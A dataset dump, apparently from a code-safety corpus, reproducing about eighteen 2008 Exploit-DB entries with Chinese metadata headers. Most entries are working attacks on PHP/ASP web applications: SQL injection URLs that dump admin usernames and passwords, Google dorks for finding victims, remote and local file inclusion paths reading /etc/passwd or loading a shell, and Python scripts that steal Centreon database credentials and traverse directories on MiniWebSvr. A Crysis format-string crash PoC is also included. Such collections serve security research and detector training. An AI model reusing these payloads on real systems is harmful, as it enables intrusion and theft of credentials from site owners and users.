QLWD/code_shield huggingface dataset:
标题: phpArcadeScript 3.0RC2 - 'userid' SQL Injection EDB-ID: 5208 CVE: 2008-1163 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-01 漏洞利用脚本: ############################################################################
# phpArcadeScript (all version) Remote Sql Injection Exploit               #
#                                                                          #
# AUTHOR:SoSo H H (Iraqi-Cracker)                                          #
#                                                                          #
# Script Site: http://www.phparcadescript.com/                             #
#                                                                          #
# Price:$30.00                                                             #
#                                                                          #
# Tested on: Versions:1.0,2.0,3.0 RC1 &RC2                                 #
#                                                                          #
# Dorks:"Powered by phpArcadeScript v1.0"                                  #
#       "Powered by phpArcadeScript v2.0"                                  #
#       "Powered by phpArcadeScript v3.0RC1"                               #
#       "Powered by phpArcadeScript v3.0RC2"                               #
############################################################################
# Exploit in:                                                              #
# index.php?action=profile&userid=(SQL)                                    #
#                                                                          #
# Example:                                                                 #
#                                                                          #
# (SQL)=1+union+all+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23+from+users/*#
############################################################################
# Greetz:                                                                  #
# L!0N,El Mariachi,My Sweet,Shadow Administrator,-=Miz0=-,Iraqi-KoRn       #
# Mini.Spider,and All 7shasha Boards Members!                              #
############################################################################  

# milw0rm.com [2008-03-01] URL: https://www.exploit-db.com/exploits/5208
标题: Dynamic photo Gallery 1.02 - 'albumID' SQL Injection EDB-ID: 5211 CVE: 2008-1162 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-01 漏洞利用脚本: Aria-Security Team
http://Aria-Security.Net
----------------------------
Shoutz: Aura, imm02rtal, NULL, Kinglet And all our staff
Vendor: http://www.phpwebscript.net/dynamicphotogallery/foto-gallery.php
Original Link: http://forum.aria-security.net/showthread.php?p=1521

PoC:
album.php?slideshow=start&albumID=-4214/**/union/**/select/**/0,username,password,3,4,5,6,7,8/**/from/**/users


Regards
The-0utl4w 

# milw0rm.com [2008-03-01] URL: https://www.exploit-db.com/exploits/5211
标题: MiniWebsvr 0.0.9a - Remote Directory Traversal EDB-ID: 5212 CVE: 2007-0919 类型: REMOTE 平台: WINDOWS 发布日期: 2008-03-03 漏洞利用脚本: import socket
import sys

print '---------------------------------------------------------'
print 'MiniWebSvr 0.0.9a Directory Transversal Vulnerability'
print 'Project URL: http://miniwebsvr.sourceforge.net/'
print 'Author: gbr'
print 'Tested on Windows XP SP2'
print '---------------------------------------------------------'

host = "127.0.0.1"
port = 8080

if sys.argv[1:]:
        host = sys.argv[1]
        if sys.argv[2:]:
                port = int(sys.argv[2])

try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.send("GET /%../../../../../../../../../../../boot.ini HTTP/1.0\r\n\r\n")
        while True:
                data = s.recv(4096)
                if not data:
                        break
                print data

except:
        print "Connection Error"

# milw0rm.com [2008-03-03] URL: https://www.exploit-db.com/exploits/5212
标题: Mambo Component com_Musica - 'id' SQL Injection EDB-ID: 5207 CVE: 2008-6234 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-01 漏洞利用脚本: Aria-Security Team (Persian Security Network)
http://Aria-Security.Net
-------------------------------
Shoutz : AurA, imm02tal, Kinglet, iM4N, & All our staff
Mambo com_Musica "id" Remote SQL Injection


index.php?option=com_musica&Itemid=172&tasko=viewo &task=view2&id=-4214/**/union+select/**/0,0,password,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0+fro m%2F%2A%2A%2Fmos_users/*

Original Link:
http://forum.aria-security.net/showthread.php?t=588

Regards,
The-0utl4w

# milw0rm.com [2008-03-01] URL: https://www.exploit-db.com/exploits/5207
标题: PHP-Nuke Module My_eGallery 2.7.9 - SQL Injection EDB-ID: 5203 CVE: 2008-7038 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-28 漏洞利用脚本: Aria-Security Team
http://Aria-Security.Net
-----------------------------
Shoutz: Aura, Null, imm02tal, Kinglet, and our staff
PHP-Nuke My_eGallery "gid" Remote SQL Injection
Dork: inurl:"modules.php?name=My_eGallery"

modules.php?op=modload&name=My_eGallery&file=index&do=showgall&gid=-1/**/union/**/select/**/aid,pwd/**/from/**/nuke_authors/**/where/**/radminsuper=1/*

The-0utl4w 
>From Aria-Security.Net


Original Link: http://forum.aria-security.net/showthread.php?p=1490

# milw0rm.com [2008-02-28] URL: https://www.exploit-db.com/exploits/5203
标题: phpComasy 0.8 - 'mod_project_id' SQL Injection EDB-ID: 5209 CVE: 2008-1164 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-01 漏洞利用脚本: By Cr@zy_King / crazy_kinq@hotmail.co.uk

phpComasy 0.8 (mod_project_id) Remote Sql Ä°nj. Vuln

Script Down : http://www.phpcomasy.com/index.php?id=7&mod_action=project_detail&mod_project_id=9

Page : index.php?id=7&mod_action=project_detail&mod_project_id=Sql.

Exp : -9+union+select+1,2,concat(username,0x3a,password,0x3a,email),4,5,6,7+from+user

Not : HiÃ§kimse Kendini pahalÄ± Zannetmesin Hepinizin Ä°ndirim GÃ¼nÃ¼nÃ¼ Biliyorum ;)

Hackshow.us / Hack Bir Showdur.

Greatz : Eno7 - Crackers_Child - Thehacker - Ghost61 - Tilkiandre - Edoras - The_Bekir - DreamTurk

Special Greatz : str0ke and SuSkun (since 2003 :) HoÅŸgeldin Suskun Abi.

# milw0rm.com [2008-03-01] URL: https://www.exploit-db.com/exploits/5209
标题: Podcast Generator 1.0 Beta 2 - Remote File Inclusion / File Disclosure EDB-ID: 5200 CVE: 2008-1125 2008-1124 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-28 漏洞利用脚本: ### Podcast Generator <= 1.0 BETA 2 RFI / File Disclosure Remote Vulnerabilities
### http://sourceforge.net/project/showfiles.php?group_id=163847
### POC :
### I- Remote File Inclusion Vulnerabilities
### /podcastgen1.0beta2/components/xmlparser/loadparser.php?absoluteurl=shell
### /podcastgen1.0beta2/core/admin/admin.php?p=admin&absoluteurl=shell
### /podcastgen1.0beta2/core/admin/categories.php?categoriesenabled=yes&do=categories&action=del&absoluteurl=shell
### /podcastgen1.0beta2/core/admin/categories_add.php?absoluteurl=shell
### /podcastgen1.0beta2/core/admin/categories_remove.php?absoluteurl=shell
### /podcastgen1.0beta2/core/admin/edit.php?p=admin&do=edit&c=ok&absoluteurl=shell
### /podcastgen1.0beta2/core/admin/editdel.php?p=admin&absoluteurl=shell
### /podcastgen1.0beta2/core/admin/ftpfeature.php?p=admin&absoluteurl=shell
### /podcastgen1.0beta2/core/admin/login.php?absoluteurl=shell
### /podcastgen1.0beta2/core/admin/pgRSSnews.php?absoluteurl=shell
### /podcastgen1.0beta2/core/admin/showcat.php?absoluteurl=shell
### /podcastgen1.0beta2/core/admin/upload.php?p=admin&do=upload&c=ok&absoluteurl=shell
### /podcastgen1.0beta2/core/archive_cat.php?absoluteurl=shell
### /podcastgen1.0beta2/core/archive_nocat.php?absoluteurl=shell
### /podcastgen1.0beta2/core/recent_list.php?absoluteurl=shell
### II- Remote File Disclosure Vulnerabilities
### /podcastgen1.0beta2/core/themes.php?theme_path=../../../../../../../../../etc/passwd%00
### /podcastgen1.0beta2/download.php?filename=../../../../../../../../../etc/passwd
                                  @@@@@@@ ANA TRYAGI @@@@@@@

# milw0rm.com [2008-02-28] URL: https://www.exploit-db.com/exploits/5200
标题: Barryvan Compo Manager 0.3 - Remote File Inclusion EDB-ID: 5202 CVE: 2008-1126 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-28 漏洞利用脚本: --==+================================================================================+==--
--==+  barryvancompo-0.3 Remote File Inclusion                              +==--
--==+================================================================================+==--

 Author: MhZ91
 Title: barryvancompo-0.3 Remote File Inclusion 
 Download: http://sourceforge.net/projects/barryvancompo/
 Bug: Remote File Inclusion
 Info: The barryvan compo manager is a PHP, Smarty and MySQL-based system for running, organising, and maintaining competitions. It is particularly designed for use within the computer music "scene".
 Visit: http://www.inj3ct-it.org

[*]----------------------------------------------------------

barryvancompo-0.3 present a variable "pageURL" not definited in this file 

main.php
(and all files require it)

we can exploit it by the variable "pageURL", for example

http://www.example.com/main.php?pageURL=[Evil_Code]


[*]----------------------------------------------------------

# milw0rm.com [2008-02-28] URL: https://www.exploit-db.com/exploits/5202
标题: Centreon 1.4.2.3 - 'get_image.php' Remote File Disclosure EDB-ID: 5204 CVE: 2008-1119 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-28 漏洞利用脚本: #!/usr/bin/python

# Date : 20/01/2008
# Author : Julien CAYSSOL <julien@aqwz.com>

import sys, urllib2,re


user_agent =  'Mozilla/6.0 (compatible; MSIE 6.0; Windows NT)'
headers =  { 'User-Agent'  : user_agent ,
                                'Accept-Charset' : 'ISO-8859-15' }


if __name__ == "__main__":

    if len(sys.argv)==2:
        host = sys.argv[1]
        print " [+] Host : " + host

        url = "http://"+sys.argv[1]+"/include/doc/get_image.php?lang=&img=../../www/oreon.conf.php"
        req = urllib2.Request(url, None, headers)
        html = urllib2.urlopen(req).read()
        html = re.sub('\n','',html)
        ident =re.findall('\$conf_oreon\[\'host\'\] = "(.*?)";\$conf_oreon\[\'user\'\] = "(.*?)";\$conf_oreon\[\'password\'\] = "(.*?)";\$conf_oreon\[\'db\'\] = "(.*?)";',html)
        print " [*] Result :  "
        print " + DB Host : "+ident[0][0]
        print " + DB Name : "+ident[0][3]
        print " + DB user : "+ident[0][1]
        print " + DB pass : "+ident[0][2]

        print " [*] /etc/passwd for Fun"
        url = "http://"+sys.argv[1]+"/include/doc/get_image.php?lang=&img=../../../../../etc/passwd"
        req = urllib2.Request(url, None, headers)
        html = urllib2.urlopen(req).read()
        print html

    else:
        print "./Poc.py HOST"

# milw0rm.com [2008-02-28] URL: https://www.exploit-db.com/exploits/5204
标题: SiteBuilderElite 1.2 - Multiple Remote File Inclusions EDB-ID: 5199 CVE: 2008-1123 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-28 漏洞利用脚本: --==+================================================================================+==--
--==+  SiteBuilderElite1.2 Multiple Remote File Inclusion                   +==--
--==+================================================================================+==--

 Author: MhZ91
 Title: SiteBuilderElite1.2 Multiple Remote File Inclusion 
 Vendor: http://sitebuilderelite.com $97
 Bug: Multiple Remote File Inclusion
 Info: "Boost Your Adsense And Affiliate Commissions By Building 10s, 100s or 1,000s of Websites, Each With The Click of a Button!"
 Visit: http://www.inj3ct-it.org

[*]----------------------------------------------------------

SiteBuilderElite1.2 present a variable "CarpPath" not definited in this file 

files/carprss.php
files/amazon-bestsellers.php

all are exploitable by the variable "CarpPath" for example

http://www.example.com/files/carprss.php?CarpPath=[Evil_Code]


[*]----------------------------------------------------------

# milw0rm.com [2008-02-28] URL: https://www.exploit-db.com/exploits/5199
标题: Dream4 Koobi CMS 4.3.0 < 4.2.3 - 'categ' SQL Injection EDB-ID: 5206 CVE: 2008-1336 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-29 漏洞利用脚本: --==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+            Koobi CMS 4.3.0 - 4.2.3 (index.php categ) Remote SQL Injection         +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: Koobi CMS 4.3.0 - 4.2.3
[~] HomePage: http://www.dream4.de/
[~] Exploit: Remote SQL Injection [High]
[~] Where: index.php
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com

[+] Exploit v4.3.0 - v4.2.4:

[~] Table: koobi4_user
[~] /index.php?showlink=1&fid=8&p=links&area=1&categ=[SQL]
[~] /index.php?showlink=1&fid=8&p=links&area=1&categ=-4+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi4_user/*

[+] Exploit v4.2.3:

[~] Table_ koobi_user
[~] /index.php?showlink=1&fid=8&p=links&area=1&categ=[SQL]
[~] /index.php?showlink=1&fid=8&p=links&area=1&categ=-4+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi_user/*


--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-02-29] URL: https://www.exploit-db.com/exploits/5206
标题: Crysis 1.1.1.5879 - Remote Format String Denial of Service (PoC) EDB-ID: 5201 CVE: 2008-1127 类型: DOS 平台: WINDOWS 发布日期: 2008-02-28 漏洞利用脚本: The Crysis engine passes along internal debug strings through the game. One of them is passed to vsprintf() in the crt lib:

30503263   8D8C24 10100000  LEA ECX,DWORD PTR SS:[ESP+1010]
3050326A   51               PUSH ECX
3050326B   50               PUSH EAX
3050326C   8D5424 08        LEA EDX,DWORD PTR SS:[ESP+8]
30503270   52               PUSH EDX
30503271   FF15 F8A17530    CALL DWORD PTR DS:[<&MSVCR80.vsprintf>]  ; MSVCR80.vsprintf

0032CAD8   30503277  w2P0  /CALL to vsprintf from cryactio.30503271
0032CADC   0032CAE8  Ã¨ÃŠ2.  |buffer = 0032CAE8
0032CAE0   0032DAF8  Ã¸Ãš2.  |format = "Pathfinding in animation graph failed (LONGPOKE%SAAAAAAAA) - no path from 'Parachute_Float_NW' to 'X_Combat_IdleAimingNull_NW'"  ; Your name is passed in as part of the format. This is a nono...
0032CAE4   0032DAF8  Ã¸Ãš2.  \arglist = 0032DAF8

POC:
Type name %n\x00\x00\x00\x00 in the console.
Type kill.
Upon your death, everyone in the server will instantly execute the format string vulnerability. If you are in third person in a vehicle, it will be exploited on your game as well.

-LONGPOKE<ATOM>

# milw0rm.com [2008-02-28] URL: https://www.exploit-db.com/exploits/5201
标题: Dream4 Koobi Pro 5.7 - 'categ' SQL Injection EDB-ID: 5198 CVE: 2008-1122 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-28 漏洞利用脚本: + Koobi Pro 5.7 index.php (categ) Remote Sql Ä°nj. Vuln

+ Cr@zy_King / crazy_kinq@hotmail.co.uk

+ Hack Bir Showdur. / Hackshow.us

+ Greatz : Eno7 & Crackers_Child & Thehacker & The_Bekir & Ghost61 & Tilkiandre & Edoras

+ Not : Alem GÃ¶t OlmuÅŸ O GÃ¶tlerin AlayÄ±nÄ± DÃ¼nya Alem Siksin.BaÅŸta 2 KiÅŸi onlar

+ kendilerini biliolar

+ Koobi Pro 5.7 Down : http://rapidshare.com/files/20450299/KoobiPro57.rar.html

+ Page : /index.php?area=1&p=downloads&categ=Sql.

+ Sql : -1+union+select+1,concat(email,0x3a,pass),3+from+kpro_user/*

+ Erbay O ÅŸimdi asker :D Vatan Size Emanet KardeÅŸim Allah YardÄ±mcÄ±nÄ±z oLsun.

# milw0rm.com [2008-02-28] URL: https://www.exploit-db.com/exploits/5198
标题: GROUP-E 1.6.41 - 'head_auth.php' Remote File Inclusion EDB-ID: 5197 CVE: 2008-1074 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-27 漏洞利用脚本: ????????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                          [ Remote File Include ]                         ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : PitBull Crew           ? ?                                    ?
?   Script   : GROUP-E 1.6.41         ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                               DALnet #crackers                            ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                               Exploit URL's                              ??
??????????????????????????????????????????????????????????????????????????????

     http://localhost/path/www/lib/head_auth.php?CFG[PREPEND_FILE]=[SHELL]    
   
??????????????????????????????????????????????????????????????????????????????
 
   Greets:
       
       The_PitBull, Raz0r, iNs, WizzKidd, Sad, S|AyER, Ehab, Tfaces, Guzman,
       Karlousha, Od3d99aa. Mark, Ramzi, Lust, DeaD, adal, xD

??????????????????????????????????????????????????????????????????????????????
??                               © CraCkEr 2008                             ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-02-27] URL: https://www.exploit-db.com/exploits/5197
标题: Mambo Component SimpleBoard 1.0.3 - 'catid' SQL Injection EDB-ID: 5195 CVE: 2008-1077 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-27 漏洞利用脚本: #########################################################
##
##  Mambo Simpleboard Forum Component 1.0.3 Stable (com_simpleboard)
##
##
##  Author: it's my, Scipio, xcedz
##
##  Home page: http://www.antichat.ru
##
#########################################################
##
## Dork: inurl:"index.php?option=com_simpleboard"
##
#########################################################
   
   Exploit:

http://site.com/index.php?option=com_simpleboard&func=view&catid=-999+union+select+2,2,3,concat(0x3a,0x3a,username,0x3a,password),5+from+mos_users/*

#########################################################
## Together, we have strength =) ####    www.antichat.ru
#########################################################

# milw0rm.com [2008-02-27] URL: https://www.exploit-db.com/exploits/5195
标题: PORAR WebBoard - 'question.asp' SQL Injection EDB-ID: 5185 CVE: 2008-1039 类型: WEBAPPS 平台: ASP 发布日期: 2008-02-25 漏洞利用脚本: ##     ##     
   ##   ##      
    ## ##
     ###CoRPITX 
     ###     
    ## ##
   ##   ##
  ##     ##

########################### Turkey ####################################
#                                                                     #
#################### www.Hayalet-hack.com #############################
#
##################### www.zone-turk.net/###############################
#             
#            PORAR WEBBOARD SQL Injection Vulnerability 
#
#######################################################################
#  
#  AUTHOR : xcorpitx
#
#  HOME   : www.Hayalet-hack.com / www.zone-turk.net
#
#  email  : xcorpitx@hotmail.com
#
########################################################################
#  This (SQL) give  Admin name and Admin password 
#  Bu sorgu direk admin ismi ve  sisresini verecektir
########################################################################
#
#  DorK   : '' webboard question.asp QID''
#
########################################################################
#            
#  EXPLOIT: 
#
########################################################################
# example 1  : columns number 10
#
question.asp?QID=-1122334455%20+%20union%20+%20select%20+%200,null,2,username,password,5,password,7,8,9,null%20+%20from%20+%20+%20administrator%20';';
#########################################################################
# some tÃ½mes thÃ½s sql
# example 2 : columns number 11
#
question.asp?QID=-1%20+%20union%20+%20select%20+%200,1,2,username,4,5,password,7,8,9,10,11%20+%20from%20+%20+%20administrator%20';';
#########################################################################
# admin login
#
http://www.xxx.com/webboard/admin/login.asp
#
########################################################################

Thanx : str0ke,D3ng3s!z,Pc faresi,Hayalet,Turque,SmoKin,Apex,Mostbiq

have nice day and hack 

i m sory jane  :( 


Kankilerim   D3ng3s!z ve Pc faresi ne sevgiler  el sallayin :S

# milw0rm.com [2008-02-25] URL: https://www.exploit-db.com/exploits/5185
标题: PHP Download Manager 1.1 - Local File Inclusion EDB-ID: 5183 CVE: 2008-1042 类型: WEBAPPS 平台: PHP 发布日期: 2008-02-24 漏洞利用脚本: #####################################################
# Author : BeyazKurt
# Contact : Bey4zKurt@Gmail.Com
#
# Script : php Download Manager (v1.1 & 1.0)
# Risk : Local File Include
# Download : http://sourceforge.net/project/showfiles.php?group_id=185482
#
# File : include/body.inc.php
#
# Code :
#   <?php
#      if (file_exists($content)) {
#      include($content);
#      } else { echo "<p>This page has no content.</p>"; }
#   ?>
#
# Exploit :
#
#  Vuln.Com/include/body.inc.php?content=../../etc/passwd
#
#----------------------------
#
#                          INDEPENDENT KOSOVA (H)
#  ARNAVUT Olmak AyrÄ±calÄ±ktÄ±r - Being An ALBANIAN Is A Priviledge
#            
#                      15 Sehidimizin ruhu saad olsun...
#
#                            Www.Netkabus.Com
#
#  Not : I Love You Gulsum (F)
#  Thnx : Ekin0x - Fotosopar seni :D
#####################################################

# milw0rm.com [2008-02-24] URL: https://www.exploit-db.com/exploits/5183